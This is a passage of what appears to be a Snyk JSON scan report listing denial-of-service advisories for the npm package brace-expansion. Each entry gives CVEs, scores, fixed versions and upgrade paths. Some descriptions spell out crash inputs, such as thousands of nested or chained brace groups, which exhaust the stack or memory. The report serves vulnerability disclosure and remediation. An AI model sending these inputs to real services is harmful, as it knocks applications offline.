Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
